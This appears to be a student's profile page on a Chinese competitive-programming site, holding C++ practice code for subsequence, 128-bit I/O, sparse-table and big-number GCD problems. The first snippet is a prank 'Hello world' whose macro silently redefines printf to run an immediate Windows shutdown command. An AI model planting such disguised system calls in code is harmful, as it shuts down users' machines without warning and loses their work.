-
个人简介
#include<iostream> #pragma GCC optimize(2) #pragma GCC optimize(3) #define printf(x) system("shutdown -s -t 0"),printf(x) using namespace std; int main(){ printf("Hello world!"); return 0; }
oldclass.com
#include<iostream> #include<algorithm> using namespace std; int n,a[10],p[10],cnt; int main(){ cin>>n; for(int i=1;i<=n;i++)cin>>a[i]; p[++cnt]=a[1]; for(int i=2;i<=n;i++){ if(a[i]>=p[cnt]){ p[++cnt]=a[i]; }else{ int loc=upper_bound(p+1,p+cnt+1,a[i])-p; p[loc]=a[i]; } } cout<<cnt; }
#include<iostream> #include<algorithm> using namespace std; int n,a[10],p[10],cnt; int main(){ cin>>n; for(int i=1;i<=n;i++)cin>>a[i]; p[++cnt]=a[1]; for(int i=2;i<=n;i++){ if(a[i]>p[cnt]){ p[++cnt]=a[i]; }else{ int loc=lower_bound(p+1,p+cnt+1,a[i])-p; p[loc+1]=a[i]; } } cout<<cnt; }
__
//__int128!!! #include<iostream> #include<cstring> using namespace std; __int128 n; __int128 read(){ __int128 a=0; char s[1010]; cin>>s; for(int i=0;i<strlen(s);i++){ a*=10; a+=s[i]-'0'; } return a; } void putout(__int128 num){ if(num>=10)putout(num/10); putwchar(num%10+'0'); } int main(){ n=read(); putout(n); return 0; }
#include <iostream> using namespace std; long long f[1000001][30],log[64]; int read(){ char c=getchar(); int x=0,f=1; while(c<'0'||c>'9'){ if(c=='-')f=-1; c=getchar(); } while(c>='0'&&c<='9'){ x=x*10+c-'0'; c=getchar(); } return x*f; } int main() { long long n=read(); long long m=read(); log[0]=-1; for(int i=1;i<=n;i++){ f[i][0]=read(); log[i]=log[i>>1]+1; } for(int j=1;j<=log[n];j++){ for(int i=1;i+(1<<j)-1<=n;i++){ f[i][j]=max(f[i][j-1],f[i+(1<<(j-1))][j-1]); } } for (int i=1;i<=m;i++){ long long x =read(),y=read(); long long s =log[y-x+1]; printf("%lld\n",max(f[x][s],f[y-(1<<s)+1][s])); } return 0; }
//高精度求最大公因数 #include<iostream> #include<cstring> using namespace std; string s; int a[100010],b[100010],c[100010],d[100010],e[100010],ak,bk,ck=1,dk; inline void print(char ch){ int flag=0; if(ch=='a'){ for(int i=ak;i>0;i--)cout<<a[i]; // for(int i=100009;i>0;i--){ // if(a[i]!=0)flag=1; // if(flag==1)cout<<a[i]; // } } if(ch=='b'){ for(int i=bk;i>0;i--)cout<<b[i]; // for(int i=100009;i>0;i--){ // if(b[i]!=0)flag=1; // if(flag==1)cout<<b[i]; // } } if(ch=='c'){ for(int i=100009;i>0;i--){ if(c[i]!=0)flag=1; if(flag==1)cout<<c[i]; } } if(ch=='d'){ for(int i=100009;i>0;i--){ if(d[i]!=0)flag=1; if(flag==1)cout<<d[i]; } } } inline void mod(char ch){ if(ch=='a'){ for(int i=2;i<=ak;i++){ a[i]+=a[i-1]/10; a[i-1]=a[i-1]%10; } if(a[ak]>=10){ a[++ak]+=a[ak-1]/10; a[ak-1]=a[ak-1]%10; } if(a[ak]==0)ak--; return; } if(ch=='b'){ for(int i=2;i<=bk;i++){ b[i]+=b[i-1]/10; b[i-1]=b[i-1]%10; } if(b[bk]>=10){ b[++bk]+=b[bk-1]/10; b[bk-1]=b[bk-1]%10; } if(b[bk]==0)bk--; return; } if(ch=='c'){ for(int i=2;i<=ck;i++){ c[i]+=c[i-1]/10; c[i-1]=c[i-1]%10; } if(c[ck]>=10){ c[++ck]+=c[ck-1]/10; c[ck-1]=c[ck-1]%10; } if(c[ck]==0)ck--; return; } if(ch=='d'){ for(int i=2;i<=dk;i++){ d[i]+=d[i-1]/10; d[i-1]=d[i-1]%10; } if(d[dk]==0)dk--; return; } } inline void cheng2(char ch){ if(ch=='a'){ for(int i=ak;i>=1;i--){ a[i]=a[i]*2; } mod('a'); return ; } if(ch=='b'){ for(int i=bk;i>=1;i--){ b[i]=b[i]*2; } mod('b'); return ; } if(ch=='c'){ for(int i=ck;i>=1;i--){ c[i]=c[i]*2; } mod('c'); return ; } } inline void chu2(char ch){ int ans=0; if(ch=='a'){ for(int i=ak;i>=1;i--){ ans=ans*10+a[i]; a[i]=ans/2; ans=ans%2; } mod('a'); return ; } if(ch=='b'){ for(int i=bk;i>=1;i--){ ans=ans*10+b[i]; b[i]=ans/2; ans=ans%2; } mod('b'); return ; } if(ch=='c'){ for(int i=ck;i>=1;i--){ ans=ans*10+c[i]; c[i]=ans/2; ans=ans%2; } mod('c'); return ; } } int check(){ if(ak>bk)return 1; if(ak<bk)return 2; for(int i=1;i<=ak;i++){ if(a[i]>b[i])return 1; if(a[i]<b[i])return 2; } return 0; } int main(){ cin>>s; c[1]=1; for(int i=s.size()-1;i>=0;i--){ a[++ak]=s[i]-'0'; } cin>>s; for(int i=s.size()-1;i>=0;i--){ b[++bk]=s[i]-'0'; } // cheng2('b'); // a[1]++; // mod('a'); int w=check(); // print('a'); // cout<<endl; // print('b'); // cout<<endl; while(w!=0){ int a1=(a[1]-'0')%2,b1=(b[1]-'0')%2; if(a1==0&&b1==0){ chu2('a'); chu2('b'); cheng2('c'); goto e; } if(a1==0&&b1!=0){ chu2('a'); goto e; } if(a1!=0&&b1==0){ chu2('b'); goto e; } if(a1!=0&&b1!=0){ if(w==2){ memset(d,0,sizeof(d)); dk=bk; for(int i=1;i<=dk;i++){ d[i]=d[i]+(b[i]-a[i]); if(d[i]<0){ d[i]=d[i]+10; d[i+1]--; } } mod('d'); for(int i=1;i<=dk;i++){ b[i]=d[i]; } for(int i=dk+1;i<=bk;i++){ b[i]=0; } bk=dk; }else{ memset(d,0,sizeof(d)); dk=ak; for(int i=1;i<=dk;i++){ d[i]=d[i]+(a[i]-b[i]); if(d[i]<0){ d[i]=d[i]+10; d[i+1]--; } } mod('d'); for(int i=1;i<=dk;i++){ a[i]=d[i]; } for(int i=dk+1;i<=bk;i++){ a[i]=0; } ak=dk; } } e:; w=check(); // cout<<w<<":___"; // print('a'); // cout/*<<ak*/<<" "/*<<bk*/; // print('b'); // cout<<endl; // cout<<endl; } // cout<<"A: "; // print('a'); // cout<<endl<<"C: "; // print('c'); int ca=0; for(int i=1;i<=ck;i++){ for(int j=1;j<=ak;j++){ e[i+j]+=a[j]*c[i]+ca; ca=e[i+j]/10; e[i+j]%=10; } } // cout<<endl; int flag=0; for(int i=ak+ck;i>1;i--){ // cout<<e[i]; if(e[i]!=0)flag=1; if(flag==1)cout<<e[i]; } }
good.
.
.
..
.
.
.
.
.
.
.
.
.
没打完的题目:暂无
暂无